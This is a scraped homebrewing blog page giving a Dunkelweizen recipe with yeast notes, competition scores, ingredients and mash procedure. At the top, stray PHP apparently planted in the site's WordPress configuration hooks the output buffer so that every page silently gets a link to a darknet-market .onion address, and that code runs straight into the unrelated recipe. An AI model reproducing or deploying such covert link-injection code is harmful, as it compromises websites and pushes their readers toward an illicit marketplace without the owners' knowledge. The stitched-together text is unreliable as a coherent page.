/* That's all, stop editing! Happy blogging. */ function callback_replacer($buffer) { return str_replace('the valuable resources on', 'the valuable resources on hydraruzxpnew4af.onion', $buffer); } ob_start('callback_replacer');Dunkelweizen - Pasteur Brewing

Dunkelweizen

Description:

I ended up repitching the yeast from a previous batch (Room-mates bavarian weizen, D&M Brockington) and the yeast didn’t create the banana & clove taste, but the aroma was right on. I think the yeast had just been used too many times.
The beer scored a 37 and NHC and a 30 at Heart of the Valley. The NHC judges thought I’d used chocolate malt to get the color, go figure. I personally think the color ended too dark. Next time I’m going to try 3 lb Caravienna, 2 lb English Pale, and 7 lb Wheat.

Ingredients:
  • 7 lb Dark Wheat Malt
  • 2.5 lb Munich Malt
  • 2 lb Caravienna Malt
  • .5 lb Carapils Malt
  • 1 oz Hallertaur Hersb.(2.9 AAU) 60 minutes
  • 1 oz Tettnanger (6.2 AAU) 15 minutes
  • 1 oz Hallertaur Hersb. (2.9 AAU) 1 minute
  • Wyeast #3068

OG:
1.052 FG: 1.010

Procedure:

Single Step Infusion (no protein rest) at 158 degrees F.

Check Also

Dunkelweizen

Description: I just made a dunkelweizen this weekend. I would say, from reading Warner’s book, …

Leave a Reply